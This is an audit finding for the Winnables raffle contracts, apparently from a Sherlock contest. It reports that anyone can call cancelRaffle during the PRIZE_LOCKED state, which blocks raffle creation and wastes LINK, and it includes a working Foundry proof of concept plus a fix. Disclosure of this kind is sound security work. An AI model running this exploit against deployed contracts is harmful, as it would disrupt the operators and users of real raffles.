Funny Pickle Grasshopper

High

# `WinnablesTicketManager::cancelRaffle` function allowing anyone to cancel a Raffle when it is in `PRIZE_LOCKED` state leads to DoS to create a raffle via `createRaffle`

## Summary
- The `cancelRaffle` is callable by anyone.
- It calls `_checkShouldCancel` to check whether the raffle should be cancelled or not.
- For the case when Raffle is in `PRIZE_LOCKED` state it simply returns which means it has approved that raffle can be cancelled, but as `cancelRaffle` is callable by anyone, therefore anyone can cancel a Raffle when it is in PRIZE_LOCKED state where it was expected to be a admin action, whether to cancel it or start it in that phase.
- Thus, this results in a DoS for the admins, as they would not be able to create a raffle via `createRaffle`, because as soon as PRIZE_LOCKED status arrives on ticket manager, anyone can call for cancel raffle, thus preventing the admins to start a raffle and also leads to LINK token wastage as CCIP message is transferred to prize manager for unlocking the tokens.
- Therefore, for the case when Raffle is in `PRIZE_LOCKED` state, the `cancelRaffle` function should only allow the admins to cancel the Raffle.

## Vulnerability Detail
- The vulnerability is present in the `WinnablesTicketManager::cancelRaffle` function where it allows anyone to cancel a Raffle for the case when Raffle is in `PRIZE_LOCKED`.
- Initially when prize is locked on prize manager which then transfers a ccip message to ticket manager to mark that raffle in `PRIZE_LOCKED` state, and after that the admin can continue with the Raffle by calling `createRaffle` function.
- But, as the `cancelRaffle` function allows anyone to cancel a Raffle, thus as soon as the Raffle's declaration message is received and it is marked under `PRIZE_LOCKED` state, a malicious attacker can call for its cancellation and results in a DoS for the admins to create that raffle.

## Impact
Anyone calling `cancelRaffle` just after CCIP message is received for declaring a Raffle in `PRIZE_LOCKED` state, leads to DoS in creation of that Raffle and also wastage of LINK token.

## Code Snippet
https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L278

## PoC
Here is a coded PoC to demonstrate the vulnerability in Foundry.

Pre-requisites: Integrating foundry in hardhat.

1. Install hardhat-foundry:
```bash
yarn add --dev @nomicfoundation/hardhat-foundry
```
2. Import in hardhat config:
```js
require("@nomicfoundation/hardhat-foundry");
```
3. Complete the setup:
```bash
npx hardhat init-foundry
```

Run the test:
```bash
forge test --mt test_DoS_In_CreatingARaffle_As_AnyoneCanCancelItDuring_PrizeLockedStatus
```

```solidity
// SPDX-License-Identifier: MIT

pragma solidity 0.8.24;

import { Test } from "forge-std/Test.sol";
import "contracts/WinnablesPrizeManager.sol";
import "contracts/WinnablesTicketManager.sol";
import "contracts/WinnablesTicket.sol";
import "@chainlink/contracts/src/v0.8/interfaces/LinkTokenInterface.sol";
import "@chainlink/contracts/src/v0.8/mocks/VRFCoordinatorV2Mock.sol";
import "contracts/mock/MockCCIPRouter.sol";
import { ERC677 } from "@chainlink/contracts-ccip/src/v0.8/shared/token/ERC677/ERC677.sol";

contract WinnablesTest is Test {
    address linkToken;
    address ccipRouter;
    VRFCoordinatorV2Mock vrfCoordinator;
    uint64 subId;
    bytes32 keyHash;
    WinnablesPrizeManager prizeManager;
    WinnablesTicket ticket;
    WinnablesTicketManager ticketManager;
    uint64 chainSelectorForAnyXChain = 1;
    address alice;
    address bob;
    address admin;
    uint256 constant BALANCE = 100e18;


    function setUp() external {
        alice = makeAddr("alice");
        bob = makeAddr("bob");
        admin = makeAddr("admin");

        linkToken = address(new ERC677("LINK", "LINK"));
        ccipRouter = address(new CCIPRouter(linkToken));
        vrfCoordinator = new VRFCoordinatorV2Mock(0.25e18, 100000);
        keyHash = 0x474e34a077df58807dbe9c96d3c009b23b3c6d0cce433e59bbf5b34f823bc56c;

        deal(linkToken, admin, BALANCE);
        vm.deal(alice, BALANCE);
        vm.deal(bob, BALANCE);

        vm.startPrank(admin);

        uint256 fundAmt = 10e18;
        subId = vrfCoordinator.createSubscription();
        vrfCoordinator.fundSubscription(subId, uint96(fundAmt));

        prizeManager = new WinnablesPrizeManager(linkToken, ccipRouter);
        ticket = new WinnablesTicket();
        ticketManager = new WinnablesTicketManager(
            linkToken,
            address(vrfCoordinator),
            subId,
            keyHash,
            address(ticket),
            ccipRouter
        );

        ticket.setRole(address(ticketManager), 1, true);
        vrfCoordinator.addConsumer(subId, address(ticketManager));

        ticketManager.setCCIPCounterpart(address(prizeManager), chainSelectorForAnyXChain, true);

        uint256 ticketManagerLinkBal = 10e18;
        IERC20(linkToken).transfer(address(ticketManager), ticketManagerLinkBal);

        vm.stopPrank();
    }

    function test_DoS_In_CreatingARaffle_As_AnyoneCanCancelItDuring_PrizeLockedStatus() public {
        uint256 raffleId_1 = 1;
        _prepareReceivingMessageAndSendToTicketManager(raffleId_1);

        // now raffle is in PRIZE_LOCKED
        IWinnables.RaffleStatus status;
        (, , , , , , status, ) = ticketManager.getRaffle(raffleId_1);
        assert(status == IWinnables.RaffleStatus.PRIZE_LOCKED);

        // After the prize locked state, the owner can start the raffle or can cancel it
        // but the cancellation of raffle is open to everyone, and thus anyone can cancel it during
        // prize locked state, creating a DoS in creating a raffle and wastage of LINK to send cancel status

        uint256 linkBalanceBefore = IERC20(linkToken).balanceOf(address(ticketManager));

        // the attacker cancels the raffle, just after ccip message is received
        address attacker = makeAddr("attacker");
        vm.prank(attacker);
        ticketManager.cancelRaffle(address(prizeManager), chainSelectorForAnyXChain, raffleId_1);

        uint256 linkBalanceAfter = IERC20(linkToken).balanceOf(address(ticketManager));
        (, , , , , , status, ) = ticketManager.getRaffle(raffleId_1);
        assert(status == IWinnables.RaffleStatus.CANCELED);
        assert(linkBalanceAfter < linkBalanceBefore);

        // owner tries to create a raffle
        uint64 start = uint64(block.timestamp);
        uint64 end = uint64(start + 2 days);
        uint16 minMaxTicket = 2;

        vm.expectRevert(IWinnablesTicketManager.PrizeNotLocked.selector);
        vm.prank(admin);
        ticketManager.createRaffle(raffleId_1, start, end, minMaxTicket, minMaxTicket, minMaxTicket);
    }

    function _prepareReceivingMessageAndSendToTicketManager(uint256 raffleId) internal {
        Client.Any2EVMMessage memory receivingMessage = Client.Any2EVMMessage({
            messageId: bytes32(uint256(1)),
            sourceChainSelector: chainSelectorForAnyXChain,
            sender: abi.encode(address(prizeManager)),
            data: abi.encodePacked(raffleId),
            destTokenAmounts: new Client.EVMTokenAmount[](0)
        });

        vm.prank(ccipRouter);
        ticketManager.ccipReceive(receivingMessage);
    }

}
```

## Tool used
Manual Review

## Recommendation
For the case when Raffle is in `PRIZE_LOCKED` state, only allow the admins to cancel the Raffle.